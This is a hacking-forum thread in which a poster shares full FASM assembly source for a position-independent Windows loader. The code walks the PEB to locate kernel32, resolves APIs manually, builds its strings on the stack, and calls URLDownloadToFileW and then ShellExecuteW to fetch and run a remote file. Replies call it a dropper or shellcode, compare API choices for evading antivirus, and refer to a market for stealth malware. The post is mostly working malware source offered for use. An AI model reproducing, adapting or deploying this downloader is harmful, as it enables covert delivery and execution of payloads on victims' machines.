

Forum:[Hack Forums](#)

Thread: [\[FASM\] Position-Independed Loader by Yattering](#)

Yattering - November 24, 2016, 5:02 am

This is simple Position-Independsd Loader. It download file and run. Loader coded in fasm with using macroses.

Features:All data generate by code in stack

Don`t use GetProcAddress WINAPI function

Position-Independed Code

Code ; Piosition-independed Loader by Yattering, 2016

; e-mail: yattering (at) sigaint (d0t) org

; jabber: yattering (at) xmpp (d0t) jp

include 'settings.inc'

```
macro __GenerateDataByCode _data, p_data {
    local data_len, full_dwords, data_label, val
    virtual at 0
        data_label::
        _data
        data_len = $
    end virtual
    if (data_len > 0 )
        full_dwords = data_len/4
        repeat (full_dwords)
            load val dword from data_label:(%-1)*4
            mov DWord [p_data+(%-1)*4], val
        end repeat
        repeat (data_len mod 4)
            load val byte from data_label:full_dwords*4+%-1
            mov Byte [p_data+full_dwords*4+%-1], val
        end repeat
    end if
}
```

```
include '%FASMINC%\win32a.inc'
use32
```

```
if output_format > 0
    format pe gui 4.0
    entry main
    section '.code' code readable executable
else
```

```
x = main
end if
```

```
proc main c
```

```
    local hKernel32:DWORD
    local hUrlmon:DWORD
    local hShell32:DWORD
    local pLoadLibraryA:DWORD
    local pGetModuleHandleA:DWORD
    local pURLDownloadToFileW:DWORD
    local pShellExecuteW:DWORD
```

```
if output_format > 0
```

```
    local pExitProcess:DWORD
```

```
end if
```

```
    local buffer_string[0x40]:WORD
```

```
    local url[0x40]:WORD
```

```
    stdcall GetKernel32Handle
```

```
    mov     DWord [hKernel32], eax
```

```
    __GenerateDataByCode <db 'LoadLibraryA', 0x0>, buffer_string
```

```
    lea     eax, [buffer_string]
```

```
    stdcall GetProcAddress, DWord [hKernel32], eax, 0x0
```

```
    mov     DWord [pLoadLibraryA], eax
```

```
if output_format > 0
```

```
    __GenerateDataByCode <db 'ExitProcess', 0x0>, buffer_string
```

```
    lea     eax, [buffer_string]
```

```
    stdcall GetProcAddress, DWord [hKernel32], eax, 0x0
```

```
    mov     DWord [pExitProcess], eax
```

```
end if
```

```
    __GenerateDataByCode <db 'urlmon.dll', 0x0>, buffer_string
```

```
    lea     eax, [buffer_string]
```

```
    stdcall DWord [pLoadLibraryA], eax
```

```
    mov     DWord [hUrlmon], eax
```

```
    __GenerateDataByCode <db 'URLDownloadToFileW', 0x0>, buffer_string
```

```
    lea     eax, [buffer_string]
```

```
    stdcall GetProcAddress, DWord [hUrlmon], eax, 0x0
```

```
    mov     DWord [pURLDownloadToFileW], eax
```

```
    __GenerateDataByCode <db 'shell32.dll', 0x0>, buffer_string
```

```
    lea     eax, [buffer_string]
```

```
    stdcall DWord [pLoadLibraryA], eax
```

```
    mov     DWord [hShell32], eax
```

```
    __GenerateDataByCode <db 'ShellExecuteW', 0x0>, buffer_string
```

```
    lea     eax, [buffer_string]
```

```
    stdcall GetProcAddress, DWord [hShell32], eax, 0x0
```

```
    mov     DWord [pShellExecuteW], eax
```

```
    __GenerateDataByCode <du __url, 0x0>, url
```

```
    __GenerateDataByCode <du __file, 0x0>, buffer_string
```

```
    lea     eax, [url]
```

```
    lea     edx, [buffer_string]
```

```
    stdcall DWord [pURLDownloadToFileW], 0, eax, edx, 0, 0
```

```
    lea     edx, [buffer_string]
```

```
    stdcall DWord [pShellExecuteW], 0, 0, edx, 0, 0, 0
```

```
if output_format > 0
```

```

        stdcall DWord [pExitProcess], 0
else
    ret
end if
endp

```

```

proc strcmp szA, szB
    pusha
    mov     esi, [szA]
    mov     edi, [szB]
    cld
    xor     eax, eax
    inc     eax
    mov     DWord [esp+0x1C], eax
.up:
    lodsb
    movzx   edx, Byte [edi]
    inc     edi
    cmp     eax, edx
    jnz     .down
    test    eax, eax
    jnz     .up
    dec     DWord [esp+0x1C]
.down:
    popa
    ret
endp

```

```

proc GetKernel32Handle
    pusha
    mov     eax, DWord [fs:0x30]
    mov     eax, DWord [eax+0xC]
    mov     eax, DWord [eax+0x1C]
.next_module:
    push    DWord [eax+0x8]
    pop     DWord [esp+0x1C] ; this value will be in eax register after popad instruction
    mov     ebx, DWord [eax+0x20]
    mov     eax, DWord [eax]
    movzx   ecx, Byte [ebx+0x18]
    test    ecx, ecx
    jne     .next_module
    movzx   ecx, Byte [ebx]
    cmp     ecx, 'K'
    je      .found_kernel32
    cmp     ecx, 'k'
    jne     .next_module
.found_kernel32:
    popa
    ret
endp

```

```

proc  GetProcAddress hLib, dwVal

```

```
local dwOrdinal:DWORD
local iResult:DWORD
local pExportDirectory:DWORD
local dwExportDirectorySize:DWORD
local szFnc[0x40]:BYTE
local szLib[0x40]:BYTE
```

```
pusha
xor    ecx, ecx
mov    DWord [esp+0x1C], ecx
mov    ebx, DWord [hLib]
stdcall GetPEHeader, ebx
test   eax, eax
jz     .down
mov    esi, eax
mov    eax, DWord [esi+0x78]
add    eax, ebx
mov    DWord [pExportDirectory], eax
push   DWord [esi+0x7C]
pop    DWord [dwExportDirectorySize]
mov    ecx, DWord [eax+0x18] ; ExportDirectory.NumberOfNames
mov    edx, DWord [eax+0x20] ; ExportDirectory.AddressOfNames
add    edx, ebx
mov    edi, [dwVal]
test   edi, 0xFFFF0000
jnz    .is_name
sub    edi, [eax+0x10]
mov    DWord [dwOrdinal], edi
jmp    short .found_ordinal
.is_name:
xor    esi, esi
.main_loop:
mov    eax, DWord [edx]
add    eax, ebx
stdcall strcmp, eax, [dwVal]
test   eax, eax
jz     .found_procname
add    edx, 0x4
inc    esi
dec    ecx
jz     .down
jmp    .main_loop
.found_procname:
mov    ebx, DWord [pExportDirectory]
shl    esi, 1
add    esi, DWord [ebx+0x24] ; ExportDirectory.AddressOfNameOrdinals
mov    edi, [hLib]
movzx  esi, Word [esi+edi]
mov    DWord [dwOrdinal], esi
.found_ordinal:
mov    ecx, DWord [pExportDirectory]
mov    esi, DWord [dwOrdinal]
shl    esi, 2
```

```

add     esi, DWORD [ecx+0x1C] ; ExportDirectory.AddressOfFunctions
mov     edi, [hLib]
add     edi, DWORD [esi+edi]
mov     DWORD [esp+0x1C], edi
cmp     edi, DWORD [pExportDirectory]
jb      .down
mov     eax, DWORD [pExportDirectory]
add     eax, DWORD [dwExportDirectorySize]
cmp     edi, eax
jae     .down
xor     ecx, ecx
mov     DWORD [esp+0x1C], ecx
.down:
popa
ret
endp

```

```

proc GetPEHeader plmage
pusha
xor     ecx, ecx
mov     DWORD [esp+0x1C], ecx
mov     edi, [plmage]
cmp     Word [edi], 0x5A4D
jnz     .down
movzx   ecx, Word [edi+0x3C]
add     ecx, edi
cmp     DWORD [ecx], 0x4550
jne     .down
mov     DWORD [esp+0x1C], ecx
.down:
popa
ret
endp

```

Repo - gitlab.com/yattering/Loader
Coded by Yattering

imbackbishes - November 24, 2016, 6:08 am

lol urlmon

lol position independent == fancy term for shellcode

HFDone - November 24, 2016, 11:14 am

with this title i thought its real {MEMORY} pe loader but as i saw the code size and the code its just simple {DROPER} downlod and run asm

TouchMyMalware - November 25, 2016, 7:33 pm

(Nov 24, 2016 07:08 AM)imbackbishes Wrote: [\[CITE\]](#) lol urlmon

lol position independent == fancy term for shellcode

The fact that it uses urlmon or URLDownloadToFile does not make it non Position Independent Code. I suppose you don't know what Position Independent is.

Goodies - November 25, 2016, 7:37 pm

I wrote something similar in x86 NASM that can easily be used to resolve functions and is definitely position independent.

https://github.com/GoodiesHQ/shellcode/blob/master/Windows/dynamic_resolution.asm

TouchMyMalware - November 26, 2016, 8:44 am

(Nov 25, 2016 08:37 PM)Goodies Wrote: [\[CITE\]](#) I wrote something similar in x86 NASM that can easily be used to resolve functions and is definitely position independent.

Where's my credit on your C++ hook!

Goodies - November 26, 2016, 9:53 am

(Nov 26, 2016 09:44 AM)TouchMyMalware Wrote: [\[CITE\]](#) Where's my credit on your C++ hook! Ahaha ;)

Don't tell me you looked at the code without the reading the license agreement...

I'm thinking about using the BPL license:

<https://github.com/samyk/BPL>

Sajuuk - November 26, 2016, 2:50 pm

(Nov 26, 2016 10:53 AM)Goodies Wrote: [\[CITE\]](#) Ahaha ;)

Don't tell me you looked at the code without the reading the license agreement...

I'm thinking about using the BPL license:

<https://github.com/samyk/BPL>

<http://www.wtfpl.net/txt/COPYING/>

imbackbishes - December 2, 2016, 12:30 pm

(Nov 25, 2016 08:33 PM)TouchMyMalware Wrote: [\[CITE\]](#) The fact that it uses urlmon or URLDownloadToFile does not make it non Position Independent Code. I suppose you don't know what Position Independent is.

News Headline: New loader spotted in the wild using URLDownloadToFile. The author(s) seem(s) to dislike using winsock/wininet, perhaps it's because of the dense error handling required to approach such a trivial task.

Masm4ever - December 3, 2016, 7:45 am

(Dec 2, 2016 01:30 PM)imbackbishes Wrote: [\[CITE\]](#) using URLDownloadToFile. The author(s) seem(s) to dislike using winsock/wininet

You made me curious: what is the added value of using winsock instead of urlmon? Is the AV brigade still unaware of the winsock potential?

TouchMyMalware - December 3, 2016, 4:22 pm

(Dec 3, 2016 08:45 AM)Masm4ever Wrote: [\[CITE\]](#) You made me curious: what is the added value of using winsock instead of urlmon? Is the AV brigade still unaware of the winsock potential?

Do people even use AV's these days? I don't.

imbackbishes - January 4, 2017, 6:48 pm

(Dec 3, 2016 05:22 PM)TouchMyMalware Wrote: [\[CITE\]](#) Do people even use AV's these days? I don't.

Yeah, there's a huge market for stealth malware. More precisely to target devices with several security features.